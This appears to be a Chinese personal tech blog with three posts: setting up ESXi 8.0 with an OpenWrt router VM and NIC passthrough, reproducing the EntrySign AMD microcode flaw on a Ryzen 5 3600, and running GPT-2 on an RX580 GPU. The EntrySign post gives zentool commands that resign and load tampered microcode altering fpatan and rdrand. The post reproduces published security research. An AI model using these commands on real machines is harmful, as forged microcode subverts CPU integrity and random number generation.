ESXi 8.0 All-in-One 避坑实录:从 128G 单盘安装到 OpenWrt 直通配置

最近入手了一台小主机,安装两块X340T2万兆网卡,计划用一块 128G 的固态硬盘搭建 ESXi 8.0 U2 并运行 OpenWrt 作为主路由。虽然硬件配置简单,但 ESXi 8.0 的默认分区策略和直通配置还是有不少坑。本文记录了从安装到网卡直通、以及 OpenClash 配置的全过程。

1. ESXi 8.0 U2 安装与空间拯救

ESXi 8.0 引入了新的分区机制,默认会预留约 128G 的 OSData 分区。对于只有 128G 硬盘的设备来说,这意味着安装完系统后将没有任何空间创建 Datastore(存储) 来存放虚拟机。

准备工作

关键步骤:修改分区大小

  1. 插入 U 盘启动,在出现 ESXi 倒计时加载画面(黑底白字)时,立刻按下 Shift + O

  2. 在命令行末尾输入空格,追加以下参数:

    1
    systemMediaSize=min

    注意min 模式会将系统占用限制在 33GB 左右,从而为虚拟机留出约 90GB 的可用空间。如果不加此参数,128G 硬盘将无法创建存储。

  3. 按回车继续安装,后续按照提示设置 Root 密码并完成安装。


2. ESXi 初始化配置

BIOS 设置

进入主板 BIOS,确保开启以下虚拟化选项,否则无法通过硬件直通:

  • VT-x / VT-d (Intel) 或 SVM / IOMMU (AMD)
  • SR-IOV (如果有)

ESXi 后台配置

  1. 激活与存储:登录 Web 后台,输入许可证,并确认 datastore1 是否已自动创建(约 80-90GB)。
  2. 开启直通 (Passthrough)
    • 进入 管理 -> 硬件 -> PCI 设备
    • 找到用于 WAN 口的物理网卡,点击 切换直通
    • 避坑指南千万不要直通管理网口(连接电脑的那个口),否则后台会失联。

疑难杂症:直通报错修复

如果切换直通时报错 Cannot configure PCI-Passthrough on incapable device(常见于消费级网卡或多功能设备),需 SSH 登录 ESXi 修改配置文件:

1
2
3
4
5
6
7
8
vi /etc/vmware/passthru.map
````

在文件末尾根据你的设备 ID(在 PCI 设备列表中查看 Vendor ID 和 Device ID)添加白名单,例如:

```text
# <标记> <Vendor ID> <Device ID> <重置方法> <默认操作>
d3d0 8086 15b8 d3d0 default

保存后重启 ESXi 即可生效。


3. OpenWrt 虚拟机安装

镜像转换

  1. 下载 OpenWrt 固件(推荐 ext4 格式)。
  2. 下载 StarWind V2V Converter
  3. .img.gz 解压后的 .img 文件转换为 ESXi 专用的 .vmdk 文件。

虚拟机创建

  1. 创建虚拟机:客户机操作系统选择 Linux -> 其他 Linux (64位)
  2. 删除默认硬盘:删除自带的硬盘,重新添加“现有硬盘”,上传转换好的 .vmdk 文件。
  3. 调整容量
    • 在 ESXi 中将硬盘大小修改为 1GB(或其他你想要的大小)。
    • 为了让 OpenWrt 识别到扩容的空间,需要挂载一个 GParted ISO 镜像引导启动,在图形化界面中将分区拉大(Resize),应用更改后关机。
  4. 硬件直通挂载
    • 内存预留(必须):在 编辑设置 -> 内存 中,勾选 “预留所有客户机内存”。否则直通设备会导致开机失败。
    • 添加 PCI 设备:选择之前直通好的物理网卡。

4. OpenWrt 网络配置

https://kvcb.me/2019/04/04/OpenWrt/ ; https://github.com/wangyu-/tinyfecVPN/wiki/%E7%94%A8openwrt%E8%B7%AF%E7%94%B1%E5%99%A8%E6%90%AD%E5%BB%BA%E9%80%8F%E6%98%8E%E4%BB%A3%E7%90%86%EF%BC%8C%E5%8A%A0%E9%80%9F%E5%B1%80%E5%9F%9F%E7%BD%91%E5%86%85%E6%89%80%E6%9C%89%E8%AE%BE%E5%A4%87 ;
https://flandre-scarlet.moe/blog/2016/

此时 OpenWrt 拥有两个网口:

  • eth0 (虚拟口):连接 ESXi 的 vSwitch,作为 LAN 口管理。
  • eth1 (直通口):直接连接物理网线,作为 WAN 口拨号。

修改 IP 地址

通过 ESXi 的控制台(VNC)进入 OpenWrt 命令行:

1
vi /etc/config/network

配置 LAN 口(根据自家局域网规划):

1
2
3
4
5
6
7
config interface 'lan'
option device 'eth0'
option proto 'static'
option ipaddr '192.168.0.138' # 设置为你的管理IP
option netmask '255.255.255.0'
option gateway '192.168.0.1' # 上级网关(如果是旁路模式)
list dns '223.5.5.5' # 保证能解析域名下载插件

重启网络服务:

1
service network restart

绑定 WAN 口

登录 OpenWrt Web 后台:

  1. 进入 网络 -> 接口 -> WAN
  2. 物理设置 中选择直通的 eth1 接口。
  3. 协议选择 PPPoE(拨号)或 DHCP(光猫路由模式)。

5. 配置 OpenClash

网络通畅后,安装 OpenClash 实现网络分流。

  1. 依赖安装:先更新软件包列表(如果使用的是非全功能版固件)。
    1
    2
    opkg update
    opkg install libcap-bin ruby-yaml
  2. 上传插件:通过 SFTP 将 OpenClash 的 .ipk 包上传至 /tmp 目录并安装:
    1
    opkg install /tmp/luci-app-openclash*.ipk
  3. 内核下载
    • 进入 OpenClash 插件设置,由于网络环境可能无法直接下载内核,建议手动下载 DevTun 内核,上传至 /etc/openclash/core/ 目录并赋予执行权限 chmod +x
  4. 订阅配置:导入订阅链接,开启 Fake-IP 模式以获得最佳性能。

总结

通过 systemMediaSize=min 参数,我们成功在 128G 硬盘上“抠”出了足够的空间;通过修改 passthru.map 和内存预留,解决了网卡直通的各种疑难杂症。这套方案非常适合利用闲置小主机搭建高性能的家庭网络中心。

在AMD R5-3600 (Matisse)上复现EntrySign记录

前言

感谢这个report: https://bughunters.google.com/blog/5424842357473280/zen-and-the-art-of-microcode-hacking ,感谢这个lecture https://www.youtube.com/watch?v=sUFDKTaCQEk ,本PPT也上传到了 google drive

对应zentool的链接 https://github.com/google/security-research/tree/master/pocs/cpus/entrysign/zentool
对应ucode包的链接 https://github.com/platomav/CPUMicrocodes/blob/0be0bd7b6a3ec1f1b59562729f1ce14b9569b697/AMD/cpu00870F10_ver08701034_2024-02-23_52FB44A3.bin

碎碎念

  1. 在升级的时候一开始是021版本,然后手贱,没改034的包直接刷进去了,微码就变成034了… 后面发现>034的051能做
  2. ZENTOOL_XXTEA_KEY那个key是真的文档里的那个key

附录

Code of create template

1
2
3
4
5
cd ~/Code/CS253/EntrySign/security-research-zentool/pocs/cpus/entrysign/zentool
ZENTOOL_XXTEA_KEY=0x2b7e151628aed2a6abf7158809cf4f3c make template.bin
./zentool edit --hdr-revlow 0x8701051 template.bin
./zentool resign template.bin

Code of attack on fpatan

1
2
3
./zentool -o fpatan.bin edit --match 0=@fpatan --seq 0=7 --insn q0i0="add rax, rax, 0x1337" template.bin
./zentool resign fpatan.bin
sudo ./zentool load --cpu=2 fpatan.bin

fpatan攻击结果

Code of attack on rdrand

1
2
3
./zentool -o rdrand.bin edit --match 0=@rdrand --seq 0=0x100002 --insn q0i0="mov.qs rax,rax,4" template.bin
./zentool resign fpatan.bin
sudo ./zentool/zentool load --cpu=4 ./zentool/rdrand.bin ;sudo rdmsr -a 0x8b ; taskset -c 4 ./rdrand_test

rdrand攻击结果

在AMD RX580(gfx803)上借助旧版ROCm运行GPT-2模型

Thanks: https://github.com/nikos230/Run-Pytorch-with-AMD-Radeon-GPU

实施图片

碎碎念

跟着教程里的脚步走,要注意先把原来所有的hip和rocm软件全部卸载

注意这个实验解除了以后要手动去掉/etc/environment的相关配置

text
1
2
sudo echo ROC_ENABLE_PRE_VEGA=1 >> /etc/environment
sudo echo HSA_OVERRIDE_GFX_VERSION=8.0.3 >> /etc/environment

装完以后ubuntu桌面挂了…修了半天没修好不管了。

可以装个amdgpu_top https://github.com/Umio-Yasuno/amdgpu_top 用来好好看负载占用,比较神奇的是588也能用

用来inference的code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import torch
from transformers import AutoTokenizer, AutoModelForCausalLM

# --- 1. 设置模型和设备 ---
# 这里我们选择经典的、无需登录的 gpt2-medium 模型
# 第一次运行时会自动下载(约1.5GB)
model_name = "gpt2-large"

# 检查是否有可用的 GPU (NVIDIA),否则使用 CPU
device = "cuda" if torch.cuda.is_available() else "cpu"
print(f"正在使用设备: {device}")

# --- 2. 加载 Tokenizer 和模型 ---
print("正在加载 Tokenizer...")
tokenizer = AutoTokenizer.from_pretrained(model_name)

# GPT-2 模型没有官方的 pad_token,但为了避免警告,我们可以将其设置为 eos_token
tokenizer.pad_token = tokenizer.eos_token

print("正在加载模型...")
model = AutoModelForCausalLM.from_pretrained(
model_name,
device_map="auto" # 自动将模型加载到硬件上
)
# 注意:GPT-2 这种老模型通常不需要设置 torch_dtype

# --- 3. 准备输入 ---
# GPT-2 是一个续写模型,主要用英文训练,所以我们给一个英文的开头
prompt_text = "Shanghai is one of the most populous cities in the world, located in China. It is famous for"

# 直接将文本编码成 PyTorch 张量 (tensor)
inputs = tokenizer(prompt_text, return_tensors="pt").to(device)


# --- 4. 生成回答 ---
print("正在生成回答...")
# 使用 model.generate() 方法进行推理
# max_length 控制生成的总文本长度(包括你的输入)
outputs = model.generate(
**inputs,
max_length=100, # 生成的总长度
num_return_sequences=1,
pad_token_id=tokenizer.eos_token_id # 设置 pad_token_id 来避免警告
)

# --- 5. 解码并输出结果 ---
# 将模型输出的数字 ID 解码成人类可读的文本
result_text = tokenizer.decode(outputs[0], skip_special_tokens=True)

print("\n--- 模型生成结果 ---")
print(result_text)

可能需要的pip list

text
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
absl-py==2.1.0
accelerate==1.10.1
addict==2.4.0
aiofiles==23.1.0
ajsonrpc==1.2.0
ament-cmake-test==1.3.11
ament-index-python==1.4.0
ament-package==0.14.0
anyio==3.6.2
asttokens==2.4.1
attrs==23.2.0
autopep8==2.0.1
black==24.3.0
blinker==1.7.0
bottle==0.12.25
cachetools==5.3.3
certifi==2025.10.5
charset-normalizer==3.4.3
click==8.1.3
comm==0.2.2
ConfigArgParse==1.7
coolgpus==0.23
cycler==0.12.1
dash==2.16.1
dash-core-components==2.0.0
dash-html-components==2.0.0
dash-table==5.0.0
descartes==1.1.0
easydict==1.13
exceptiongroup==1.2.0
executing==2.0.1
fastjsonschema==2.19.1
filelock==3.20.0
fire==0.6.0
Flask==3.0.2
fonttools==4.60.1
fsspec==2025.9.0
grpcio==1.62.1
h11==0.14.0
hf-xet==1.1.10
huggingface-hub==0.35.3
idna==3.11
imageio==2.34.0
importlib_metadata==7.0.2
ipython==8.22.2
ipywidgets==8.1.2
itsdangerous==2.1.2
jedi==0.19.1
Jinja2==3.1.6
joblib==1.3.2
jsonschema==4.21.1
jsonschema-specifications==2023.12.1
jupyter_core==5.7.2
jupyterlab_widgets==3.0.10
kiwisolver==1.4.9
lazy_loader==0.3
llvmlite==0.42.0
lyft-dataset-sdk==0.0.8
markdown-it-py==3.0.0
MarkupSafe==2.1.5
marshmallow==3.19.0
matplotlib==3.5.3
matplotlib-inline==0.1.6
mdurl==0.1.2
mmdet3d==1.4.0
mmengine==0.10.3
mpmath==1.3.0
mypy-extensions==1.0.0
nbformat==5.10.3
nest-asyncio==1.6.0
networkx==3.4.2
numba==0.59.1
numpy==1.26.4
nuscenes-devkit==1.1.11
nvidia-cublas-cu11==11.10.3.66
nvidia-cuda-nvrtc-cu11==11.7.99
nvidia-cuda-runtime-cu11==11.7.99
nvidia-cudnn-cu11==8.5.0.96
open3d==0.18.0
opencv-python==4.9.0.80
packaging==25.0
pandas==2.2.1
parso==0.8.3
pathspec==0.12.1
pillow==10.2.0
platformdirs==4.2.0
platformio==6.1.7
plotly==5.20.0
pluggy==1.5.0
plyfile==1.0.3
prompt-toolkit==3.0.43
protobuf==4.25.3
psutil==7.1.0
pure-eval==0.2.2
pycocotools==2.0.7
pycodestyle==2.10.0
pyelftools==0.29
Pygments==2.17.2
pyparsing==3.2.5
pypcd==0.1.1
pyquaternion==0.9.9
pyserial==3.5
pytest==8.0.0
pytest-cover==3.0.0
pytest-html==4.1.1
pytest-metadata==3.1.1
python-dateutil==2.9.0.post0
python-lzf==0.2.4
pytz==2025.2
PyYAML==6.0.3
pyzmq==26.0.3
rcutils==5.1.6
referencing==0.34.0
regex==2025.9.18
requests==2.32.5
retrying==1.3.4
rich==13.7.1
rosidl-adapter==3.1.6
rosidl-cli==3.1.6
rpds-py==0.18.0
safetensors==0.6.2
scikit-image==0.22.0
scikit-learn==1.4.1.post1
scipy==1.15.3
seaborn==0.13.2
semantic-version==2.10.0
Shapely==1.8.5.post1
six==1.17.0
sniffio==1.3.0
stack-data==0.6.3
starlette==0.26.1
sympy==1.14.0
tabulate==0.9.0
tenacity==8.2.3
tensorboard==2.16.2
tensorboard-data-server==0.7.2
tensorboardX==2.6.2.2
termcolor==2.4.0
threadpoolctl==3.3.0
tifffile==2024.2.12
tokenizers==0.15.2
tomli==2.0.1
torch @ file:///home/youyoulyz/rocm/torch-2.1.1-cp310-cp310-linux_x86_64.whl#sha256=5a14a80cdc6608f33fd9d8d413be5400c1aec5eb82870770fd830863b6c92fe5
torchaudio==0.13.1
torchvision==0.14.1
tqdm==4.66.2
traitlets==5.14.2
transformers==4.36.2
trimesh==4.2.0
typing_extensions==4.5.0
tzdata==2024.1
urllib3==2.5.0
uvicorn==0.22.0
wcwidth==0.2.13
websockets==12.0
Werkzeug==3.0.1
widgetsnbextension==4.0.10
wsproto==1.2.0
yapf==0.40.2
zmq==0.0.0

idea

也许可以给MI50/100 5700XT重新编译一版torch?感觉应该只是改环境变量的问题。

接下来会试试MI50/5700XT/6800XT这些老卡的推理支持

总结

纯toy,因为transformer的版本到4.36.2,https://pypi.org/project/transformers/4.36.2/ 没有新模型可以用,chat的最高就是llama-2,缺乏实用性